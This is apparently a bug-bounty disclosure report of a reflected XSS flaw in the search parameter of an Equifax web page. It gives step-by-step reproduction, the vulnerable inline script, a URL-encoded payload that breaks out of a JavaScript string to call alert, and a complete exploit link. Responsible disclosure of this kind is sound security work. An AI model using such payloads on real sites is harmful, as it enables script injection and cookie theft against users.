reflected XSS in [www.equifax.com]

How it was found

hi , I hope you are well, i found reflected XSS in this endpoint via q parameter: https://www.equifax.com/personal/search?q=broook

Steps:

1. open https://www.equifax.com/personal/search?q=broook
2. view the source code of the page and search for word broook you will find that it reflected in the source code: {F2094877}

3. broook word reflected in javascript code:

<script type="text/javascript">

var pageProduct = null;
window.onload = function(e){ 
		
		Analytics.trackEvent('SEARCHRETURNED', {internalSearchTerm: "broook" , numOfSearchResultsReturned: 1});
	
}
</script>

4. By using this payload %22%20%2C%20internalSearchTerm%3A%20%5B"broook"%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b , I modified the parameters of the Analytics.trackEvent function to be like this:

<script type="text/javascript">

var pageProduct = null;
window.onload = function(e){ 
		
		Analytics.trackEvent('SEARCHRETURNED', {internalSearchTerm: "" , internalSearchTerm: ["broook"].map(alert) , numOfSearchResultsReturned: "b" , numOfSearchResultsReturned: 1});
	
}
</script>

{F2094892}

5. the following is the link with my XSS payload: https://www.equifax.com/personal/search?q=%22%20%2C%20internalSearchTerm%3A%20%5B"broook"%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b

{F2094902}

Impact

an attacker can exeute JS codes on the victims and this could be steal user's cookies